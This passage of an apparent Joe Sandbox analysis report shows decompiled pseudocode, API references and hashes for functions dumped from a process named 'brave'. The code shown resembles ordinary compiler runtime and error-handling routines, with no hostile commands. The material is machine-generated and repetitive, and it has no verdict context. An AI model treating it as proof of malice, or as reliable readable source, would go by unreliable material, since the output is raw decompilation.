				if ( *( *(__rbx + 0x18)) == 0x49) goto 0xfc4c6584;
				 *(__rbx + 0x18) = _t204;
				_t171 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0xfc4c5d30;
				_t214 = _a40;
				if (_t214 == 0) goto 0xfc4c5c20;
				_t122 =  *(__rbx + 0x38);
				if (_t122 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0xfc4c5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t122 * 8)) = _t214;
				 *(__rbx + 0x38) = _t122 + 1;
				E00007FF67FF6FC4C4DD0();
				_a40 = _t171;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t214 + 3;
				E00007FF67FF6FC4C7F20(_t171, __rbx);
				_t205 = _t171;
				if (_t171 != 0) goto 0xfc4c6386;
				goto 0xfc4c5c20;
				asm("o16 nop [eax+eax]");
				_push(0xfc7753e0);
				_push(_t205);
				_push(__rbx);
				_t172 =  *(__rbx + 0x18);
				if (sil == 0) goto 0xfc4c66c8;
				 *(__rbx + 0x18) =  &(_t172[1]);
				r10d =  *_t172 & 0x000000ff;
				if (sil != 0) goto 0xfc4c66d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t103 = (r8d >> 0x1f) + r8d >> 1;
				_t149 =  *((intOrPtr*)( *((intOrPtr*)(0xfc774820 + (_t103 + _t103 * 2) * 8)))) - r10b;
				if (_t149 == 0) goto 0xfc4c6680;
				if (_t149 <= 0) goto 0xfc4c66c0;
				r8d = _t103;
				if (0 != r8d) goto 0xfc4c6648;
				return 0;
			}

0x7ff6fc4c6306
0x7ff6fc4c630c
0x7ff6fc4c6323
0x7ff6fc4c6327
0x7ff6fc4c632f
0x7ff6fc4c6332
0x7ff6fc4c6338
0x7ff6fc4c633c
0x7ff6fc4c6340
0x7ff6fc4c634e
0x7ff6fc4c6350
0x7ff6fc4c6356
0x7ff6fc4c6369
0x7ff6fc4c636d
0x7ff6fc4c6375
0x7ff6fc4c6378
0x7ff6fc4c6383
0x7ff6fc4c6386
0x7ff6fc4c638d
0x7ff6fc4c6393
0x7ff6fc4c639a
0x7ff6fc4c639e
0x7ff6fc4c63b1
0x7ff6fc4c63b6
0x7ff6fc4c63c0
0x7ff6fc4c63c6
0x7ff6fc4c63dd
0x7ff6fc4c63e1
0x7ff6fc4c63e9
0x7ff6fc4c63ec
0x7ff6fc4c63f2
0x7ff6fc4c63f6
0x7ff6fc4c63ff
0x7ff6fc4c6405
0x7ff6fc4c641c
0x7ff6fc4c6420
0x7ff6fc4c6428
0x7ff6fc4c642b
0x7ff6fc4c6431
0x7ff6fc4c6435
0x7ff6fc4c643e
0x7ff6fc4c6444
0x7ff6fc4c645b
0x7ff6fc4c645f
0x7ff6fc4c6467
0x7ff6fc4c646a
0x7ff6fc4c6470
0x7ff6fc4c6474
0x7ff6fc4c6480
0x7ff6fc4c6485
0x7ff6fc4c6493
0x7ff6fc4c6498
0x7ff6fc4c64a2
0x7ff6fc4c64a8
0x7ff6fc4c64bf
0x7ff6fc4c64c3
0x7ff6fc4c64cb
0x7ff6fc4c64ce
0x7ff6fc4c64d4
0x7ff6fc4c64d8
0x7ff6fc4c64dc
0x7ff6fc4c64eb
0x7ff6fc4c64f0
0x7ff6fc4c64f8
0x7ff6fc4c6501
0x7ff6fc4c6507
0x7ff6fc4c6512
0x7ff6fc4c6517
0x7ff6fc4c651e
0x7ff6fc4c6522
0x7ff6fc4c6537
0x7ff6fc4c653c
0x7ff6fc4c6541
0x7ff6fc4c6544
0x7ff6fc4c6550
0x7ff6fc4c6557
0x7ff6fc4c655e
0x7ff6fc4c656a
0x7ff6fc4c656c
0x7ff6fc4c6570
0x7ff6fc4c6575
0x7ff6fc4c657c
0x7ff6fc4c657f
0x7ff6fc4c6584
0x7ff6fc4c658c
0x7ff6fc4c6592
0x7ff6fc4c6598
0x7ff6fc4c65a8
0x7ff6fc4c65b2
0x7ff6fc4c65ba
0x7ff6fc4c65bf
0x7ff6fc4c65d0
0x7ff6fc4c65da
0x7ff6fc4c65de
0x7ff6fc4c65e6
0x7ff6fc4c65ec
0x7ff6fc4c65f2
0x7ff6fc4c65f7
0x7ff6fc4c6600
0x7ff6fc4c6601
0x7ff6fc4c6602
0x7ff6fc4c6607
0x7ff6fc4c6614
0x7ff6fc4c661e
0x7ff6fc4c6626
0x7ff6fc4c662d
0x7ff6fc4c6633
0x7ff6fc4c6642
0x7ff6fc4c6656
0x7ff6fc4c6666
0x7ff6fc4c6669
0x7ff6fc4c666b
0x7ff6fc4c666d
0x7ff6fc4c6673
0x7ff6fc4c667e

APIs

malloc.MSVCRT ref: 00007FF6FC4F2752

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: a801795258d27839cdb2658080e84d2987801553b5e09e7391c8ea557c96a623
Instruction ID: 3416e3413dcf284d9943bb5d80fe03652821f97fbcd354599079ab7da8a7cf3a
Opcode Fuzzy Hash: a801795258d27839cdb2658080e84d2987801553b5e09e7391c8ea557c96a623
Instruction Fuzzy Hash: 3A111572909B05C2E720CF14F8813A932A0FF8474CF259135C2AC873A5EF7CA685D784

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C63FF Relevance: 1.3, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00007FF67FF6FC4C63FF(void* __rbx, signed char* _a40) {
				signed int _t69;
				signed int _t73;
				signed int _t75;
				signed int _t78;
				signed int _t81;
				void* _t102;
				intOrPtr* _t107;
				signed char* _t110;
				intOrPtr* _t113;
				signed char* _t114;
				signed char* _t116;
				signed char* _t117;
				signed char* _t139;
				signed char* _t140;
				long long _t147;

				_t73 =  *(__rbx + 0x28);
				if (_t73 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2715;
				_t107 = (_t73 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t107 + 4)) = 0;
				 *(__rbx + 0x28) = _t73 + 1;
				 *_t107 = 0x27;
				 *((long long*)(_t107 + 0x10)) = 0xfc775400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t75 =  *(__rbx + 0x28);
				if (_t75 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f26ef;
				_t110 = (_t75 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t110 + 4)) = 0;
				 *(__rbx + 0x28) = _t75 + 1;
				 *_t110 = 0x27;
				 *((long long*)(_t110 + 0x10)) = 0xfc7753a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF67FF6FC4C5BC0();
				r9d = 0;
				E00007FF67FF6FC4C4DD0();
				_a40 = _t110;
				_t78 =  *(__rbx + 0x28);
				if (_t78 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2683;
				_t113 = (_t78 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t113 + 4)) = 0;
				 *(__rbx + 0x28) = _t78 + 1;
				 *_t113 = 0x27;
				 *((long long*)(_t113 + 0x10)) = 0xfc7753e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0xfc4c5c22;
				E00007FF67FF6FC4C6EE0(_t113, __rbx);
				_a40 = _t113;
				if (_t113 == 0) goto 0xfc4c5c20;
				if ( *_t113 != 0x18) goto 0xfc4c5d39;
				goto 0xfc4c5c22;
				goto 0xfc4c6051;
				_t114 = _t113 + 1;
				 *(__rbx + 0x18) = _t114;
				E00007FF67FF6FC4C89F0(__rbx);
				E00007FF67FF6FC4C4DD0();
				_a40 = _t114;
				_t139 = _t114;
				goto 0xfc4c5f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t139[1]);
				E00007FF67FF6FC4C89F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0xfc4c6584;
				 *(__rbx + 0x18) = _t139;
				_t116 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0xfc4c5d30;
				_t147 = _a40;
				if (_t147 == 0) goto 0xfc4c5c20;
				_t81 =  *(__rbx + 0x38);
				if (_t81 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0xfc4c5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t81 * 8)) = _t147;
				 *(__rbx + 0x38) = _t81 + 1;
				E00007FF67FF6FC4C4DD0();
				_a40 = _t116;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t147 + 3;
				E00007FF67FF6FC4C7F20(_t116, __rbx);
				_t140 = _t116;
				if (_t116 != 0) goto 0xfc4c6386;
				goto 0xfc4c5c20;
				asm("o16 nop [eax+eax]");
				_push(0xfc7753e0);
				_push(_t140);
				_push(__rbx);
				_t117 =  *(__rbx + 0x18);
				if (sil == 0) goto 0xfc4c66c8;
				 *(__rbx + 0x18) =  &(_t117[1]);
				r10d =  *_t117 & 0x000000ff;
				if (sil != 0) goto 0xfc4c66d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t69 = (r8d >> 0x1f) + r8d >> 1;
				_t102 =  *((intOrPtr*)( *((intOrPtr*)(0xfc774820 + (_t69 + _t69 * 2) * 8)))) - r10b;
				if (_t102 == 0) goto 0xfc4c6680;
				if (_t102 <= 0) goto 0xfc4c66c0;
				r8d = _t69;
				if (0 != r8d) goto 0xfc4c6648;
				return 0;
			}

0x7ff6fc4c63ff
0x7ff6fc4c6405
0x7ff6fc4c641c
0x7ff6fc4c6420
0x7ff6fc4c6428
0x7ff6fc4c642b
0x7ff6fc4c6431
0x7ff6fc4c6435
0x7ff6fc4c643e
0x7ff6fc4c6444
0x7ff6fc4c645b
0x7ff6fc4c645f
0x7ff6fc4c6467
0x7ff6fc4c646a
0x7ff6fc4c6470
0x7ff6fc4c6474
0x7ff6fc4c6480
0x7ff6fc4c6485
0x7ff6fc4c6493
0x7ff6fc4c6498
0x7ff6fc4c64a2
0x7ff6fc4c64a8
0x7ff6fc4c64bf
0x7ff6fc4c64c3
0x7ff6fc4c64cb
0x7ff6fc4c64ce
0x7ff6fc4c64d4
0x7ff6fc4c64d8
0x7ff6fc4c64dc
0x7ff6fc4c64eb
0x7ff6fc4c64f0
0x7ff6fc4c64f8
0x7ff6fc4c6501
0x7ff6fc4c6507
0x7ff6fc4c6512
0x7ff6fc4c6517
0x7ff6fc4c651e
0x7ff6fc4c6522
0x7ff6fc4c6537
0x7ff6fc4c653c
0x7ff6fc4c6541
0x7ff6fc4c6544
0x7ff6fc4c6550
0x7ff6fc4c6557
0x7ff6fc4c655e
0x7ff6fc4c656a
0x7ff6fc4c656c
0x7ff6fc4c6570
0x7ff6fc4c6575
0x7ff6fc4c657c
0x7ff6fc4c657f
0x7ff6fc4c6584
0x7ff6fc4c658c
0x7ff6fc4c6592
0x7ff6fc4c6598
0x7ff6fc4c65a8
0x7ff6fc4c65b2
0x7ff6fc4c65ba
0x7ff6fc4c65bf
0x7ff6fc4c65d0
0x7ff6fc4c65da
0x7ff6fc4c65de
0x7ff6fc4c65e6
0x7ff6fc4c65ec
0x7ff6fc4c65f2
0x7ff6fc4c65f7
0x7ff6fc4c6600
0x7ff6fc4c6601
0x7ff6fc4c6602
0x7ff6fc4c6607
0x7ff6fc4c6614
0x7ff6fc4c661e
0x7ff6fc4c6626
0x7ff6fc4c662d
0x7ff6fc4c6633
0x7ff6fc4c6642
0x7ff6fc4c6656
0x7ff6fc4c6666
0x7ff6fc4c6669
0x7ff6fc4c666b
0x7ff6fc4c666d
0x7ff6fc4c6673
0x7ff6fc4c667e

APIs

malloc.MSVCRT ref: 00007FF6FC4F2752

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 8e51a588fcc9305d1bc339688198cec1aa851e1b2663bd7cae9e7b17c44e4575
Instruction ID: b7b600d0a890aa2ff5a198839bc1df94427d7e10b1a361198717a42a6f8d108e
Opcode Fuzzy Hash: 8e51a588fcc9305d1bc339688198cec1aa851e1b2663bd7cae9e7b17c44e4575
Instruction Fuzzy Hash: D8110572909B05C6E7248F14F8813A932A1FF84708F659135C26C873E5EF7CA695D780

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF6FC4C29D0 Relevance: 9.1, APIs: 7, Instructions: 394COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f31b563717f00387e6c388d01aeb58a8a9830726e133e5980af23e8b6060fcb
Instruction ID: 6ae6cf2f32cbb633574833aa4fcc70e67ec8ccc6910ec8e1b1fa5c490ccc59ab
Opcode Fuzzy Hash: 7f31b563717f00387e6c388d01aeb58a8a9830726e133e5980af23e8b6060fcb
Instruction Fuzzy Hash: 9D12A122918BC281EB21DB29B4057AA67A0FF95798F419235DEAC837D5FFBCD244C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CF6C0 Relevance: 9.0, APIs: 6, Instructions: 35
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4CF6C0(void* __rcx) {
				long _t1;

				_t1 = GetLastError();
				if (_t1 != 0) goto 0xfc4cf6e0;
				return _t1;
			}

0x7ff6fc4cf6ca
0x7ff6fc4cf6d2
0x7ff6fc4cf6db

APIs

GetLastError.KERNEL32 ref: 00007FF6FC4CF6CA
FormatMessageA.KERNEL32 ref: 00007FF6FC4CF70B
IsDebuggerPresent.KERNEL32 ref: 00007FF6FC4CF715

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: DebuggerErrorFormatLastMessagePresent
String ID:
API String ID: 2392558662-0
Opcode ID: 45af6df8f3c1be2e0205f91125e02e1abf725a7bbf325bdbd81304aa25dfb69b
Instruction ID: 358b8d8620ddbaf8aff0cd7bff874ac71f1cd98921b2783b72dfe87f3f7e6181
Opcode Fuzzy Hash: 45af6df8f3c1be2e0205f91125e02e1abf725a7bbf325bdbd81304aa25dfb69b
Instruction Fuzzy Hash: EC011D61B1CA0281F754DB26B85872962A0BB99B89F540034DA6DC66F4FF3DD6898700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C4C80 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae371a8610d859356a0b0e471f64f9d264ed4058a6e4d7a127b9e3f5264a2ab
Instruction ID: 4a571e586a71873c05d16b6cbd5d44ba7405da65cd23b8dc9a2e9be6d0eaf558
Opcode Fuzzy Hash: dae371a8610d859356a0b0e471f64f9d264ed4058a6e4d7a127b9e3f5264a2ab
Instruction Fuzzy Hash: AAE0927AA08B85D2C214DB52F89046EB774F7997C4B10592AEEDC53B69DF3CD2A08B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4E3230 Relevance: 63.2, APIs: 13, Strings: 23, Instructions: 184
fileCOMMON

Download Yara Rule

C-Code - Quality: 17%

			E00007FF67FF6FC4E3230(void* __edi, void* __eflags, void* __rbx, void* __rcx, void* __rdx, int __rdi, void* __rsi, void* __r12, char* __r13, int __r14, void* __r15) {
				void* _t43;
				void* _t75;
				void* _t93;
				void* _t94;
				intOrPtr _t100;
				long long* _t107;
				void* _t113;
				long long* _t114;
				long long* _t134;
				long long _t136;
				void* _t142;
				char* _t153;
				void* _t154;
				void* _t155;
				void* _t156;
				void* _t157;
				void* _t158;
				long long* _t170;

				_t93 = __edi;
				_t156 = _t155 - 0x90;
				_t154 = _t156 + 0x90;
				 *((long long*)(_t154 - 0x38)) = 0x7562206c;
				_t138 = __rdx - __rcx;
				 *((long long*)(_t154 - 0x40)) = 0x74696d62;
				 *((long long*)(_t154 - 0x30)) = 0x74726f70;
				_t5 = _t138 + 0x78; // 0x756f6e6520746fe6
				 *((long long*)(_t154 - 0x28)) = 0x70747468;
				 *((long long*)(_t154 - 0x20)) = 0x2e636367;
				 *((long long*)(_t154 - 0x18)) = 0x2f67726f;
				_t113 = __rdx - __rcx;
				 *((long long*)(_t154 - 0x70)) = 0x20746f6e;
				 *((long long*)(_t154 - 0x68)) = 0x73206867;
				 *((long long*)(_t154 - 0x60)) = 0x726f6620;
				 *((long long*)(_t154 - 0x58)) = 0x2074616d;
				 *((long long*)(_t154 - 0x50)) = 0x6f69736e;
				 *((long long*)(_t154 - 0x48)) = 0x7361656c;
				 *((long long*)(_t154 - 0x10)) = 0xa3a292f;
				 *((char*)(_t154 - 8)) = 0;
				E00007FF67FF6FC4CF680(_t43);
				_t157 = _t156 - (_t5 & 0xfffffff0);
				 *((long long*)(_t157 + 0x58)) = 0x7562206c;
				 *((long long*)(_t157 + 0x50)) = 0x74696d62;
				 *((long long*)(_t157 + 0x68)) = 0x70747468;
				 *((long long*)(_t157 + 0x60)) = 0x74726f70;
				 *((long long*)(_t157 + 0x78)) = 0x2f67726f;
				_t142 = __rcx;
				 *((long long*)(_t157 + 0x80)) = 0xa3a292f;
				 *(_t157 + 0x20) = 0x20746f6e;
				 *((long long*)(_t157 + 0x28)) = 0x73206867;
				 *((long long*)(_t157 + 0x30)) = 0x726f6620;
				 *((long long*)(_t157 + 0x38)) = 0x2074616d;
				 *((long long*)(_t157 + 0x40)) = 0x6f69736e;
				 *((long long*)(_t157 + 0x48)) = 0x7361656c;
				 *((long long*)(_t157 + 0x70)) = 0x2e636367;
				memcpy(__rbx, __rsi, __rdi);
				 *((char*)(_t157 + _t113 + 0x88)) = 0;
				E00007FF67FF6FC4F23A0();
				0;
				0;
				_t158 = _t157 - 0x30;
				if ( *0xfc772d60 != 0) goto 0xfc4e34da;
				 *0xfc772d60 = 1;
				E00007FF67FF6FC4F1BC0(0x2e636367);
				if (0x2e636367 == 0) goto 0xfc4e34b0;
				 *((intOrPtr*)(_t158 + 0x2c)) = 0xffffffff;
				r8d = 0;
				E00007FF67FF6FC4CE1F0(0x2e636367,  *0x2E756E672E63636F + 0x2e636367, _t142, _t113, _t158 + 0x2c);
				_t114 =  *0xfc772c70; // 0x7ff6fc4e1d50
				 *_t114();
				r8d = 0x30;
				fwrite(_t113, _t157 + 0x20);
				if ( *((intOrPtr*)(_t158 + 0x2c)) == 0) goto 0xfc4e34a1;
				 *_t114();
				fputs(__r13);
				 *_t114();
				r8d = 2;
				fwrite(__r12, __r14);
				_t100 =  *((intOrPtr*)(_t158 + 0x2c));
				if (_t100 != 0) goto 0xfc4e349c;
				free(__r15);
				E00007FF67FF6FC4F2110(2, 1, 0x2e636367, _t114, _t113, 0x2e636367,  *0x2E756E672E63636F + 0x2e636367, 0x2e636367);
				 *_t114();
				fputs(_t153);
				goto 0xfc4e346b;
				 *0xfc772c70();
				r8d = 0x2d;
				fwrite(??, ??, ??, ??);
				abort();
				 *0xfc772c70();
				r8d = 0x1d;
				fwrite(??, ??, ??, ??);
				abort();
				if (_t100 != 0) goto 0xfc4e356f;
				0xfc4f1a10();
				_t107 =  *0x2e636367;
				 *((intOrPtr*)(_t107 + 0x10))();
				 *_t114();
				_t170 = _t107;
				r8d = 0xb;
				fwrite(??, ??, ??, ??);
				 *_t114();
				fputs(??, ??);
				 *_t114();
				fputc(??, ??);
				E00007FF67FF6FC4F1C20(_t107);
				goto 0xfc4e34d5;
				0xfc4f1a10();
				E00007FF67FF6FC4F1C20(_t107);
				_t178 = _t107;
				E00007FF67FF6FC4F1C20(_t107);
				_t134 = _t107;
				E00007FF67FF6FC4CFEC0();
				E00007FF67FF6FC4F19A0(_t93, _t94, _t107, _t134);
				 *_t107 = 0xfc777100;
				_t75 = E00007FF67FF6FC4F2160(8, 1, 0xfc777100, _t114, _t107, 0xfc776af0, 0x7ff6fc4e31e0, _t170, _t178, 0x2e636367);
				_t136 =  *0xfc772d30; // 0x1a1513e0080
				if (_t136 == 0) goto 0xfc4e35e0;
				free(??);
				 *0xfc772d30 = 0;
				return _t75;
			}

0x7ff6fc4e3230
0x7ff6fc4e323a
0x7ff6fc4e3241
0x7ff6fc4e3292
0x7ff6fc4e32aa
0x7ff6fc4e32ad
0x7ff6fc4e32bb
0x7ff6fc4e32bf
0x7ff6fc4e32cd
0x7ff6fc4e32df
0x7ff6fc4e32ed
0x7ff6fc4e32f1
0x7ff6fc4e32f4
0x7ff6fc4e32f8
0x7ff6fc4e32fc
0x7ff6fc4e3300
0x7ff6fc4e3304
0x7ff6fc4e3308
0x7ff6fc4e330c
0x7ff6fc4e3310
0x7ff6fc4e3314
0x7ff6fc4e3323
0x7ff6fc4e3333
0x7ff6fc4e3347
0x7ff6fc4e3356
0x7ff6fc4e3365
0x7ff6fc4e3374
0x7ff6fc4e3379
0x7ff6fc4e337c
0x7ff6fc4e338c
0x7ff6fc4e3391
0x7ff6fc4e3396
0x7ff6fc4e339b
0x7ff6fc4e33a0
0x7ff6fc4e33a5
0x7ff6fc4e33aa
0x7ff6fc4e33af
0x7ff6fc4e33b7
0x7ff6fc4e33bf
0x7ff6fc4e33ca
0x7ff6fc4e33ce
0x7ff6fc4e33d5
0x7ff6fc4e33e0
0x7ff6fc4e33e6
0x7ff6fc4e33ed
0x7ff6fc4e33f5
0x7ff6fc4e340b
0x7ff6fc4e3416
0x7ff6fc4e3421
0x7ff6fc4e342b
0x7ff6fc4e3435
0x7ff6fc4e3443
0x7ff6fc4e344c
0x7ff6fc4e345c
0x7ff6fc4e345e
0x7ff6fc4e3466
0x7ff6fc4e3470
0x7ff6fc4e3472
0x7ff6fc4e3487
0x7ff6fc4e3490
0x7ff6fc4e3492
0x7ff6fc4e3497
0x7ff6fc4e349c
0x7ff6fc4e34a1
0x7ff6fc4e34a9
0x7ff6fc4e34ae
0x7ff6fc4e34b5
0x7ff6fc4e34bb
0x7ff6fc4e34d0
0x7ff6fc4e34d5
0x7ff6fc4e34df
0x7ff6fc4e34e5
0x7ff6fc4e34fa
0x7ff6fc4e34ff
0x7ff6fc4e350b
0x7ff6fc4e350d
0x7ff6fc4e3515
0x7ff6fc4e3518
0x7ff6fc4e3523
0x7ff6fc4e3525
0x7ff6fc4e3528
0x7ff6fc4e353a
0x7ff6fc4e3544
0x7ff6fc4e354c
0x7ff6fc4e3556
0x7ff6fc4e3560
0x7ff6fc4e3565
0x7ff6fc4e356a
0x7ff6fc4e356f
0x7ff6fc4e3574
0x7ff6fc4e357e
0x7ff6fc4e3581
0x7ff6fc4e3586
0x7ff6fc4e3589
0x7ff6fc4e3599
0x7ff6fc4e35b6
0x7ff6fc4e35b9
0x7ff6fc4e35c4
0x7ff6fc4e35ce
0x7ff6fc4e35d0
0x7ff6fc4e35d5
0x7ff6fc4e35e4

APIs

memcpy.MSVCRT ref: 00007FF6FC4E33AF
fwrite.MSVCRT ref: 00007FF6FC4E34D0

Part of subcall function 00007FF6FC4CE1F0: strlen.MSVCRT ref: 00007FF6FC4CE27E
